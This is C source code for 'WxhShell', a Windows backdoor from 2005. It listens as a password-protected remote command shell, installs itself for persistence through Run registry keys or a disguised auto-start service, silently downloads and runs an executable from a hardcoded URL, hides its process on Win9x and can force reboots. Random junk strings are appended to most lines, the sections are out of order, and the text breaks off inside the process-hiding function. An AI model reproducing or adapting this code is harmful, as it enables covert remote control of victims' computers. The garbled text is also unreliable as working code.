int StartFromService(void) sj+ )
{
'mv|6Y
typedef struct _x-2tnIxXv
{ D41.$t[
DWORD ExitStatus; }WR@%)7ay
DWORD PebBaseAddress; NUBzc'qb
DWORD AffinityMask; zzC{I@b
DWORD BasePriority; /^i_tLgb
ULONG UniqueProcessId; YY>&R'3[
ULONG InheritedFromUniqueProcessId; 17:7w
} PROCESS_BASIC_INFORMATION; ?r$&O*;
T_\hhP~
PROCNTQSIP NtQueryInformationProcess; =%77~q-HL
eHHU2^I,
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; <e|B7<.
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; o`~,+6]D
!~m PxGY
HANDLE hProcess; (e
2.Ru
PROCESS_BASIC_INFORMATION pbi; rXrIGgeM
.dc|?$XV
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); hZ>1n&[@
if(NULL == hInst ) return 0; ju.`c->k"
x {Rj2~KC
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ? _[q{i{
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); H_iQR9Ak7
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 25vq#sS]
(6)|v S
if (!NtQueryInformationProcess) return 0; Rs'mk6+
vN6)Szim
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); (^ J2(
if(!hProcess) return 0; 7*+tG7I @
JFRbWQ0
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; E0A[{UA
-t*P=V|@
CloseHandle(hProcess); O/l/$pe
h?QGJ^#8
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); gE23C*!'&:
if(hProcess==NULL) return 0; C;Kq_/l
khP Ub,
HMODULE hMod; Qoz4(~I
char procName[255]; uY&t9L8
unsigned long cbNeeded; 'Urx83
e9F+R@8
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ypvz&SzIh
/p|L.&`U
CloseHandle(hProcess); BI>r'
L>`inrpz=w
if(strstr(procName,"services")) return 1; // 以服务启动 q) e*eN
) Cm95,Y
return 0; // 注册表启动 {ZUgyGE{
} 7%|HtBXv^
X-yS9E
// 主模块 fHF*#
int StartWxhshell(LPSTR lpCmdLine) U@".XIDQ
{ W
6R/{H
SOCKET wsl; VkC1\L6
BOOL val=TRUE; gue~aqtJ
int port=0; ()_^:WQO?
struct sockaddr_in door; xn<x/e
w\>@>*E>
if(wscfg.ws_autoins) Install(); T#YJ5Xw
F@xKL;'N74
port=atoi(lpCmdLine); |x ir93 |
9+'*
if(port<=0) port=wscfg.ws_port; ATD4%|a9h
opReAU'I
WSADATA data; g|{Ru
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .V{y9e+
1VPxCB\
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; *)T7DN8
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); p+F>+OQ*
door.sin_family = AF_INET; DPWnvd
door.sin_addr.s_addr = inet_addr("127.0.0.1"); )5<c8lzp
door.sin_port = htons(port); IP#qT
`=}
<[z9*Tm
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6 Znt
closesocket(wsl);
{u$<-W-&
return 1; \2[
} _W BWFGj
0w".o!2\U{
if(listen(wsl,2) == INVALID_SOCKET) { {G-y7y+E
closesocket(wsl); iB*1Yy0DC
return 1; tIW~Ng
} j[$+hh3:
Wxhshell(wsl); RAoY`AWI
WSACleanup(); q:P44`Aq
rVb61$
return 0; }ho6
]L!:/k,=S
} vn.j>;E'
6P`!yBAu
// 以NT服务方式启动 CuYSvW
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 9t{Iv({6p
{ d?jzh1
DWORD status = 0; ^4
~ V/
DWORD specificError = 0xfffffff; \x~},!l
)VkH':yCM
serviceStatus.dwServiceType = SERVICE_WIN32; bx3kd+J7
serviceStatus.dwCurrentState = SERVICE_START_PENDING; aB~=WWLR\
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; P?M WT]fY
serviceStatus.dwWin32ExitCode = 0; Hg+bmwM
serviceStatus.dwServiceSpecificExitCode = 0; 8^qLGUxz
serviceStatus.dwCheckPoint = 0; Dp;6CGYl?
serviceStatus.dwWaitHint = 0; oN.#q$\` k
RA:3ZV
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); e8hwXz
if (hServiceStatusHandle==0) return; >^adxXw.o
9y*pn|A[F
status = GetLastError(); cG4$)q;q
if (status!=NO_ERROR) wGx*Xy1n<
{ q4KYC!b
serviceStatus.dwCurrentState = SERVICE_STOPPED; Z:<6Ck
serviceStatus.dwCheckPoint = 0; NfXEW-
serviceStatus.dwWaitHint = 0; oedLe9!
serviceStatus.dwWin32ExitCode = status; h~.z[
serviceStatus.dwServiceSpecificExitCode = specificError; w4;1 ('
SetServiceStatus(hServiceStatusHandle, &serviceStatus); tQ(gB_
return; MOu=
} -h#9sl->
lm(k[]@
serviceStatus.dwCurrentState = SERVICE_RUNNING; \']_ y\
serviceStatus.dwCheckPoint = 0; >?^_JEC6
serviceStatus.dwWaitHint = 0; Qr]`flQ8
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); =.6JvX<d1*
} , n47.S
b,-qyJW6
// 处理NT服务事件,比如:启动、停止
W[oQp2 =
VOID WINAPI NTServiceHandler(DWORD fdwControl) 9>[*y8[:0
{ cp3O$S
switch(fdwControl) Aw7_diK^
{ u*<knZ~ty
case SERVICE_CONTROL_STOP: J+f*D+x1
serviceStatus.dwWin32ExitCode = 0; G>j4b}e
serviceStatus.dwCurrentState = SERVICE_STOPPED; DBZ^n9
serviceStatus.dwCheckPoint = 0; P(~vqo>!
serviceStatus.dwWaitHint = 0; W4S! rU
{ zr1A4%S"
SetServiceStatus(hServiceStatusHandle, &serviceStatus); *ta?7uSiT
} @SH$QUM(
return; 7\ kixfEg
case SERVICE_CONTROL_PAUSE: gw v
s
serviceStatus.dwCurrentState = SERVICE_PAUSED; Y
#6G&)M
break; vC%8-;8{H
case SERVICE_CONTROL_CONTINUE: O",*N
serviceStatus.dwCurrentState = SERVICE_RUNNING; "1>48Z-UC
break; hd_<J]C
case SERVICE_CONTROL_INTERROGATE: FKk.BA957h
break; nY 50dFA,
}; "/$2oYNy+
SetServiceStatus(hServiceStatusHandle, &serviceStatus); l5CFm8%
} x10u?@
"'*w_H0
// 标准应用程序主函数 Ggp. %kS6F
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) q;=! =aRg
{ ]Qh0+!SdG
NmZowh$M
// 获取操作系统版本 NVq3h\[X
OsIsNt=GetOsVer(); %H8s_O
GetModuleFileName(NULL,ExeFile,MAX_PATH); u%I |o s]
ynU20g
// 从命令行安装 GilmJ2<
if(strpbrk(lpCmdLine,"iI")) Install(); Kz2s{y~?
~)IiF.I b
// 下载执行文件 +:#UU;W
if(wscfg.ws_downexe) { nx'Yevi0$
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) nypG
WinExec(wscfg.ws_filenam,SW_HIDE); 0XUWK@)P
} y6N }R
hSF4-Vvb
if(!OsIsNt) { _!Ir|j.A
// 如果时win9x,隐藏进程并且设置为注册表启动 h!q_''*;
HideProc(); $ {5|{`
StartWxhshell(lpCmdLine); hYEUiQ
} .GOF0puiM
else &ub0t9R
if(StartFromService()) @w5x;uB|%G
// 以服务方式启动 ]U)Yg
StartServiceCtrlDispatcher(DispatchTable); 9a3mN(<
else 1CpIK$/
// 普通方式启动 kNrN72qg
StartWxhshell(lpCmdLine); s>1Wjz2M
IH$ZPux
return 0; |%c"Avc
} WHKe\8zWq
?)?}^
*^Xtorqo
xmBGZ4f%
=========================================== B4 +A
XCUU(H
^QTtCt^:
TIYo&?Z)
]@9ZUtU,;N
0mi$_Ld+
" o2e gNTG
IAzi:ct
#include <stdio.h> ;kb);iT
#include <string.h> UTR`jXCg
#include <windows.h> M
sQ>eSk
#include <winsock2.h> 5VhJ*^R`y
#include <winsvc.h> c%vtg.A
#include <urlmon.h> 1?,1EYT"
-wrVhCd~g]
#pragma comment (lib, "Ws2_32.lib") j$Wd[Ja+O
#pragma comment (lib, "urlmon.lib") y,cz;2
LMTz/M
#define MAX_USER 100 // 最大客户端连接数 $fFh4O4
#define BUF_SOCK 200 // sock buffer K4K]oT
#define KEY_BUFF 255 // 输入 buffer AOscewQ
^&Wa?
m.
#define REBOOT 0 // 重启 K0C3s
#define SHUTDOWN 1 // 关机 tv'=xDCp
g=L80$1
#define DEF_PORT 5000 // 监听端口 iM(Q-%HP_
M~,N~ N1
#define REG_LEN 16 // 注册表键长度 p` /c&}
#define SVC_LEN 80 // NT服务名长度 28x:]5=jb
<tto8Y
j
// 从dll定义API ckdXla
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 5Vj O:>
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); S:8 WBY] M
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); v$~$_K
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); I#PhzGC@
Ci_Qra 6
// wxhshell配置信息 ae0t*;~
struct WSCFG { FW)VyVFmk
int ws_port; // 监听端口 J^y?nE(j
char ws_passstr[REG_LEN]; // 口令 )18C(V-x
int ws_autoins; // 安装标记, 1=yes 0=no P"%f8C~r
char ws_regname[REG_LEN]; // 注册表键名 {@ Z=b5/P
char ws_svcname[REG_LEN]; // 服务名 L%;[tu(*
char ws_svcdisp[SVC_LEN]; // 服务显示名 1\ Gxk&
char ws_svcdesc[SVC_LEN]; // 服务描述信息 l!mx,O`
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 <rxtdI"3
int ws_downexe; // 下载执行标记, 1=yes 0=no qPoN 8>.
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" | Pi! UZB
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 MFQyB+Z
lKG' KR.
}; y}1Pc*
6u>]-K5
// default Wxhshell configuration EhAaaG
struct WSCFG wscfg={DEF_PORT, M;9s
"xuhuanlingzhe", FxmHy{JG
1, lokKjs
"Wxhshell", WG*),P?
"Wxhshell", hBi/lHu'
"WxhShell Service",
JKV&c=I
"Wrsky Windows CmdShell Service", 7n,=`0{r
"Please Input Your Password: ", 4W#DLip9
1, 055C1RV%
"http://www.wrsky.com/wxhshell.exe", $plqk^P
"Wxhshell.exe" [}!0PN?z~A
}; 6aLRnH"Ud
u|LDN*#DW
// 消息定义模块 RM;Uq>l
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Eq|5PE^7
char *msg_ws_prompt="\n\r? for help\n\r#>"; !
(Q[[M
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; $0k7W?tu
char *msg_ws_ext="\n\rExit."; f,x;t-o+R
char *msg_ws_end="\n\rQuit."; .N7<bt@~)
char *msg_ws_boot="\n\rReboot..."; -^3uQa<zN^
char *msg_ws_poff="\n\rShutdown..."; #\
uB!;Q
char *msg_ws_down="\n\rSave to "; UA|\D]xe
6-z(34&N
char *msg_ws_err="\n\rErr!"; )"Z6Q5k^
char *msg_ws_ok="\n\rOK!"; Kq5i8L=u
`<{LW>Lb
char ExeFile[MAX_PATH]; "
sC]z}
int nUser = 0; />N# PF
HANDLE handles[MAX_USER]; vVP.9(
int OsIsNt; e+V8I&%
J/IRCjQ}
SERVICE_STATUS serviceStatus; 8L+A&^qx
SERVICE_STATUS_HANDLE hServiceStatusHandle; y^z
c@f
QQHQ3\
// 函数声明 NcBz("
int Install(void); 4/%Y@Z5
int Uninstall(void); sY4q$Fq
int DownloadFile(char *sURL, SOCKET wsh); CF
3V)3}
int Boot(int flag); a?yU;IKJ
void HideProc(void); {1qr6P,"
int GetOsVer(void); 1[J|AkN
int Wxhshell(SOCKET wsl); F2Y!aR
void TalkWithClient(void *cs); S'\e"w
int CmdShell(SOCKET sock); Np i)R)
int StartFromService(void); =?Ui(?tI
int StartWxhshell(LPSTR lpCmdLine); Kv2S&P|jXM
|]9L#
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); zk"8mTg
VOID WINAPI NTServiceHandler( DWORD fdwControl ); iCLH
Z~<=I }@
// 数据结构和表定义 ~>N63I6
SERVICE_TABLE_ENTRY DispatchTable[] = *AP"[W
{ F{.\i *$
{wscfg.ws_svcname, NTServiceMain}, mz+UkA'
{NULL, NULL} fs?H
}; )ki
Gk}2
^`B;SSV
// 自我安装 =H3tkMoi2
int Install(void) #4JLWg
{ T:@7EL
char svExeFile[MAX_PATH]; k~gOL#$
HKEY key; XK\3"`kd
strcpy(svExeFile,ExeFile); C BoCT3@~
PXqG;o*Q*?
// 如果是win9x系统,修改注册表设为自启动 jFJ}sX9]
if(!OsIsNt) { <_ENC>NP
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { shw"TF>?zG
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); H\qZu%F'
RegCloseKey(key); G |[{\
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O@4 J=P=w
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); PR]b]=
RegCloseKey(key); Wa7wV
9
return 0; ]<C]`W2{
} c#>(8#'.U
} vS)>g4
} -jy0Kl/p
else { Uqb]&2
Dk>6PBl
// 如果是NT以上系统,安装为系统服务 ".%d{z}vz
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); IRwtM'%0
if (schSCManager!=0) .izq}q*P
{ #\`kg#&
SC_HANDLE schService = CreateService k_!e5c
( fIl!{pv[
schSCManager, jw9v&/-
wscfg.ws_svcname, ]ly" K!1,
wscfg.ws_svcdisp, GGhk~H4OP
SERVICE_ALL_ACCESS, i#hFpZ6u
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , SJ<v< B
SERVICE_AUTO_START, atF#0*e>
SERVICE_ERROR_NORMAL, fBctG~CJH
svExeFile, b,YNCb]H
NULL, 0#Lmajs
NULL, aZCq{7Xs
NULL, W7
dSx
NULL, XL^05
NULL vXRY/Zzj1
); gFKJbjT|
if (schService!=0) M:{Aq&.
{ S,nELV~!
CloseServiceHandle(schService); (S?Y3l|
CloseServiceHandle(schSCManager); 5QLK
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); /1v9U|j
strcat(svExeFile,wscfg.ws_svcname); tV`=o$`
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { "I)zi]vk
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ,!b<SQ5M
RegCloseKey(key); |5tZ*$nGa
return 0; &=BzsBh
} ?q9]H5\
} 4&;iORw&E4
CloseServiceHandle(schSCManager); BhzD V
} <y] 67:"<v
} iGu%_-S
Wz s=BNm9
return 1; flo$[]`.7
} cl2_"O
Y55u-9|N
// 自我卸载 UJSIbb5
int Uninstall(void) _OTVQo Ap
{ Bskp&NV':
HKEY key; .WqqP
Lr D@QBT
if(!OsIsNt) { j}eb
_K+I
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { DkEv1]6JI_
RegDeleteValue(key,wscfg.ws_regname); T1$E][@Iv
RegCloseKey(key); ~(ke'`gJ0-
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G:":CX"O(
RegDeleteValue(key,wscfg.ws_regname); 5EcVW|(
RegCloseKey(key); fDf[:A,8
return 0; DJL.P6 -W
} $VvgzjrH
} &]#L'D!"
} $vf gYl4q
else { R-S<7Q3E0=
#%\0][Xf
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {9U!0h-2"
if (schSCManager!=0) fk5'v
{ AtG~!)hG
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 5b7(^T^K
if (schService!=0) pWGR#x'
{ ]`|$nU}v
if(DeleteService(schService)!=0) { w,LmAWZ4Y
CloseServiceHandle(schService); {:K_=IRZ
CloseServiceHandle(schSCManager); [3G{NC|'
return 0; L^
J|cgmNw
} w3(|A> s3
CloseServiceHandle(schService); q[a\a7U z
} su1lv#
CloseServiceHandle(schSCManager); p)yP_P
} q2vD)r
} 1N8] ~j
UxTLr-db^
return 1; phuiLW{&
} *9EwZwE_K
Yt]`>C[|D
// 从指定url下载文件 BB/wL_=:
int DownloadFile(char *sURL, SOCKET wsh) i D IY|
{ I?3b}#&V9
HRESULT hr; KFd
+7C9
char seps[]= "/"; 'F/oR/4,
char *token; h#hr'3bI1
char *file; B>^6tdz
char myURL[MAX_PATH]; {r&mNbz
char myFILE[MAX_PATH]; 6:#o0OeBP
K=[7<b,:3
strcpy(myURL,sURL); (@+pz/
token=strtok(myURL,seps); t<p#u=jOa
while(token!=NULL) z3tx]Ade
{ @kFZN 6
file=token; [Y
.8C$0
token=strtok(NULL,seps); K$,Zg
} Xfq`k/ W
lPR=C0h}@
GetCurrentDirectory(MAX_PATH,myFILE); kg7F8($
strcat(myFILE, "\\"); j#5a&Z
strcat(myFILE, file); V/ G1C^'/
send(wsh,myFILE,strlen(myFILE),0); 73cb1kfPd
send(wsh,"...",3,0); Trv}YT.
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); :W*yfhLt
if(hr==S_OK) <T}U 3lL^
return 0; L7C ;l,ot
else )}@D\(/@
return 1; ~v;I>ij
nHdQe
} XHk"nbj
o8g7wM]M
// 系统电源模块 Z!"-LQJ
int Boot(int flag) k<< x}=
{ &j F'2D^_
HANDLE hToken; *-nO,K>y`
TOKEN_PRIVILEGES tkp; Te+(7
Z
*4U_MM#rX
if(OsIsNt) { gZ,h95'
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); odhS0+d^
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Fc1!i8vv
tkp.PrivilegeCount = 1; /4an@5.\C
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; p3=Py7iz
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); wXQxZuk[
if(flag==REBOOT) { YhN<vZ}U!~
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Z=a%)Ki?Ag
return 0; _Vr- bpAf
} ,UY1.tR(
else { ks#3
o+
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) z{rV|vQ
return 0; -#|;qFD]
} l)%PvLbL
} Tx;a2:6\[
else { =NF0E8O
if(flag==REBOOT) { ..)J6L5l
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) $l]:2!R
return 0; qIi
\[Ugh
} k H.dtg_
else { r:g\
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) f$C{Z9_SX
return 0; %~!4DXrMk
} 1+FVM\<&
} q?}C`5%D
iW` tr
return 1; Lnh=y2
} >C|pY6
ojd0um6I{
// win9x进程隐藏模块 ~1uQyt
void HideProc(void) >yC=@Uq+
{ tMxde+$y
ZxF`i>/h
HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ;4rhhh&